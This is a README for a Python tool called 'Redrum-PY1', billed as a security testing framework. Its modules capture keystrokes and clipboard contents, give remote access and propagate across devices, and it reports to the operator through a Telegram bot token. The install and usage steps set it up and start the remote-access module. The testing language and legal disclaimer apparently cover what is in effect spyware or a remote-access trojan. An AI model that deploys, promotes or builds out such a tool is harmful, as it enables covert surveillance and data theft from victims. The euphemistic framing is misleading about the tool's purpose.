Advanced Security Testing FrameworkOverviewThe Advanced Security Testing Framework is a comprehensive toolkit designed for security professionals to simulate advanced threat scenarios and evaluate system resilience under extreme conditions. This framework provides a robust set of modules for data capture, system monitoring, and network analysis, enabling users to thoroughly assess the security posture of their systems.FeaturesInput Capture Module: Simulates user input scenarios to test system responses.Data Protection Module: Evaluates the effectiveness of data protection mechanisms.Remote Access Module: Tests remote access controls and system accessibility.Clipboard Monitoring Module: Assesses the security of clipboard operations.Network Analysis Module: Analyzes network traffic to identify potential vulnerabilities.System Monitoring Module: Monitors system activity to detect anomalies.Distributed Testing Module: Simulates distributed system loads to test scalability.Stress Testing Module: Evaluates system performance under high-stress conditions.Propagation Testing Module: Tests the propagation of security measures across devices.InstallationTo set up the testing environment, follow these steps:Prerequisites: Ensure you have Python 3.9 or higher installed on your system.Install Dependencies: Run the following command to install required libraries:pip install requests pycryptodome pyautogui scapy pywin32 pyaudio keyboardClone the Repository: Download the project files using:git clone https://github.com/xai/redrum-py1.gitNavigate to Directory: Move into the project folder:cd redrum-py1Configure Settings: Add your Telegram bot token and chat ID to the configuration file.UsageTo deploy the security modules, use the following Python code:from redrum_py1_core import RedrumPY1

Initialize the framework with your Telegram credentials

redrum = RedrumPY1(telegram_token="YOUR_TOKEN", chat_id="YOUR_CHAT_ID")

Start a specific module (e.g., remote access)

redrum.start_module("remote_access")DisclaimerThis framework is intended solely for educational purposes and authorized security testing. It must only be used on systems for which you have explicit permission to test. Unauthorized use is strictly prohibited and may result in legal consequences.ContributingWe welcome contributions from the security community! If you discover bugs or vulnerabilities, please report them via the issue tracker on our repository.ContactFor additional information or to request access, reach out to us at tripl3sixmafia@gmail.com.